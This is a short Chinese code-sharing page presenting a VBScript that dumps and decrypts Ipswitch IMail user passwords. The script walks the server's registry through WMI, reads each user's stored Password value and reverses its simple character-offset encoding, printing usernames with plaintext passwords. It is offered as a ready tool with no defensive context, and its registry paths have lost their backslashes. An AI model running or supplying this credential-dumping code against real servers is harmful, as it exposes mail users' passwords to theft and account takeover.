vbs imail 密码解密
vbs imail 密码解密
发布时间:2016-12-28 来源:查字典编辑
摘要:复制代码代码如下:onerrorresumenextconstHKEY_LOCAL_MACHINE=&H80000002strCompute...

复制代码 代码如下:

on error resume next

const HKEY_LOCAL_MACHINE = &H80000002

strComputer = "."

Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!" &_

strComputer & "rootdefault:StdRegProv")

strKeyPath = "SOFTWAREIpswitchIMailDomains"

oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys

For Each subkey In arrSubKeys

wscript.echo "Domain: "&subkey

strKeyPath2 = strKeyPath&""&subkey&"Users"

oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2

For Each subkey2 In arrSubKeys2

strKeyPath3=strKeyPath2&""&subkey2

strValueName = "Password"

oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue

if len(subkey2) and len(strValue) then

wscript.echo subkey2 &" : " & decrypt(subkey2,strValue)

end if

Next

Next

function decrypt(name,pass)

while len(name)<len(pass)/2

name=name&name

wend

for i=0 to len(pass)/2-1

p=mid(pass,2*i+1,2)

p="&H"&p

n=mid(name,i+1,1)

decrypt=decrypt&chr(clng(p)-asc(n))

next

end function

推荐文章
猜你喜欢
附近的人在看
推荐阅读
拓展阅读
相关阅读
网友关注
最新vbs学习
热门vbs学习
脚本专栏子分类